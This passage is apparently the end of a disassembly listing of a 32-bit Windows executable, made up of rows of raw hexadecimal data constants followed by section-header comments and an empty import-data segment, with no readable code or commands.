		dd 0D0E0699Dh, 2500FD5Dh, 4F8E1AE5h, 0F883EB19h, 0D7960071h
		dd 50E4395h, 0AF3E298Dh, 0BFF9009Eh, 81ED44A0h,	3E8F7312h
		dd 7BB982h, 0CFA6D53Ch,	781F49FFh, 6F007ADFh, 0E98CE0C6h
		dd 47C90080h, 41A893BAh, 6B0085BCh, 8D392755h, 3EE070F7h
		dd 0DD00427Ch, 9DF9DE8Eh, 7E00EBFBh, 0A14351AAh, 0E376E6h
		dd 2F29F2CCh, 44268184h, 17102803h, 0A8AEF8AAh,	7CC4C5E3h
		dd 0A7EB07FAh, 50F7F3D4h, 957A4AE1h, 6545CF00h,	0E91C7CCh
		dd 0A0AE01A6h, 46A3E319h, 0C17F40Dh, 8681751Ch,	48C976C0h
		dd 42584Dh, 3993A7E4h, 0B2B8353Bh, 0FA53ED3Eh, 3D5DE50Eh
		dd 8B417FC5h, 0FF5A929Eh, 0F0A6E8h, 54C020A1h, 61378CA5h
		dd 8BFDD10Eh, 25D8405Ah, 0F9895Dh, 95AA67DBh, 0BF27F3F8h
		dd 80C8A23Eh, 4C6E80DDh, 979BC9h, 52028A20h, 7525C460h
		dd 0CD34FBA4h, 12004CCh, 5713FFBh, 0A3D70A3Dh, 0F8050F70h
		dd 3B645A80h, 8D034FDFh, 83126E97h, 0D3C3E0F5h,	1965002Ch
		dd 0B71758E2h, 0D0F8F1D1h, 84230F07h, 0AC201B47h, 0F8EEA7C5h
		dd 0B6A60040h, 5AF6C69h, 863E37BDh, 3D3300EBh, 0E57A42BCh
		dd 0BF940FD5h, 0C287E7D6h, 61CE10FDh, 770F1184h, 80E4ABCCh
		dd 0E15B4C2Fh, 0BEC4034Dh, 0C9E69594h, 53C092E3h, 441F753Bh
		dd 9A8F14CDh, 67DE80AFh, 73994BAh, 0B11EAD45h, 24807FCFh
		dd 0BCE2C623h, 310F3BFEh, 9D7A8B61h, 0C1595500h, 0F53B17Eh
		dd 5FBB127Ch, 2FEED780h, 0BE03068Dh, 0FB158592h, 1C487E44h
		dd 0C139E9A5h, 0A87FEA27h, 0AC7DF02Ah, 0BCE4A100h, 0D0467C64h
		dd 3E5500DDh, 0CC067B63h, 77035423h, 8191FF83h,	3AFA983Dh
		dd 637A0019h, 0C0314325h, 21003CACh, 8238D189h,	0E0B89747h
		dd 3BD700FDh, 85888DCh,	0E807B11Bh, 3A686E3h, 4584C6C0h
		dd 0B6070042h, 0DB377599h, 33073A2Eh, 23D21C71h, 49EE3280h
		dd 395A0090h, 0C0BE87A6h, 0A53CDA57h, 0B5A20082h, 0B268E232h
		dd 52A70011h, 0B759449Fh, 25002C10h, 362DE449h,	1E534F34h
		dd 0C06BCEAEh, 0A404598Fh, 0C200DEC0h, 0C6E8FB7Dh, 0E79E1Eh
		dd 91575A88h, 8350BF3Ch, 4E182201h, 0FD62654Bh,	0CAF8FE0h
		dd 117D9406h, 9F00DE5Ch, 4C8D2CEh, 9CD8A6DDh, 0E816B80Bh
		dd 2E94CC1Ch, 56413F03h, 9C637865h, 40EDB4BBh, 4B184FE3h
		dd 5FD84BFAh, 4044BFF4h, 3C2AC6EAh, 6C92388Dh, 1A6FA5AEh
		dd 92204321h, 5F6F0EEAh, 0BF73668Eh, 202EED94h,	2FE8E94Fh
		dd 0D6E2FA5Fh, 43C88A32h, 0FFEFEB01h, 0BE013EE4h, 143FEFFh
		dd 60BEEBBAh, 238D9100h, 0F28E9008h, 90431E8Fh,	927991C8h
		dd 0E493210Fh, 0A989C03h, 0C9148C89h, 0A41AA34Eh, 421B2004h
		dd 78F4AC8Ch, 68FCA61Ah, 9E2810C8h, 0C7102EA4h,	0C8318B78h
		dd 8ECE248h, 50BB2478h,	3119F80Bh, 0CCE2C0D8h, 0BB9878F0h
		dd 63601F80h, 102E281Eh, 781119CEh, 218F011h, 48E02479h
		dd 22D0917Ah, 6A3020FCh, 0C2C0FF44h, 46B94021h,	11C9C86Ch
		dd 7971DC01h, 0E4246210h, 5D2CBDEEh, 0CC23B924h, 0BF582B4Bh
		dd 34269485h, 18DD109h,	352460FCh, 409BC0B3h, 0EC03F209h
		dd 3C815930h, 0E4E0182Eh, 897F4820h, 8CB07080h,	38C2F1F0h
		dd 0BF545350h, 44506284h, 0FC4240BFh, 0A84157A8h, 0EA3B19A9h
		dd 100E7879h, 891E0C40h, 4C5A133Bh, 97CCA408h, 0D489B509h
		dd 1125F312h, 930D54Ch,	146D894Eh, 533A3462h, 6777176Ch
		dd 48B404BCh, 9F299D3h,	2F519910h, 6C124D09h, 0A041A1C5h
		dd 140B4002h, 0A10C05C8h, 790B08FAh, 610C9C21h,	0B0FC350h
		dd 12F42408h, 21968050h, 20401698h, 8C19BEBCh, 0C9BF0402h
		dd 10348E1Bh, 0CC3DEDA1h, 0D3C28FCEh, 0F020804Eh, 370B59Eh
		dd 0C5ADA82Bh, 0D0E0699Dh, 2500FD5Dh, 4F8E1AE5h, 0F883EB19h
		dd 0D7960071h, 50E4395h, 0AF3E298Dh, 0BFF9009Eh, 81ED44A0h
		dd 3E8F7312h, 7BB982h, 0CFA6D53Ch, 781F49FFh, 6F007ADFh
		dd 0E98CE0C6h, 47C90080h, 41A893BAh, 6B0085BCh,	8D392755h
		dd 3EE070F7h, 0DD00427Ch, 9DF9DE8Eh, 7E00EBFBh,	0A14351AAh
		dd 0E376E6h, 2F29F2CCh,	44268184h, 17102803h, 280h dup(0)
seg002		ends

; Section 3. (virtual address 00088000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00088000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 488000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end __ImageBase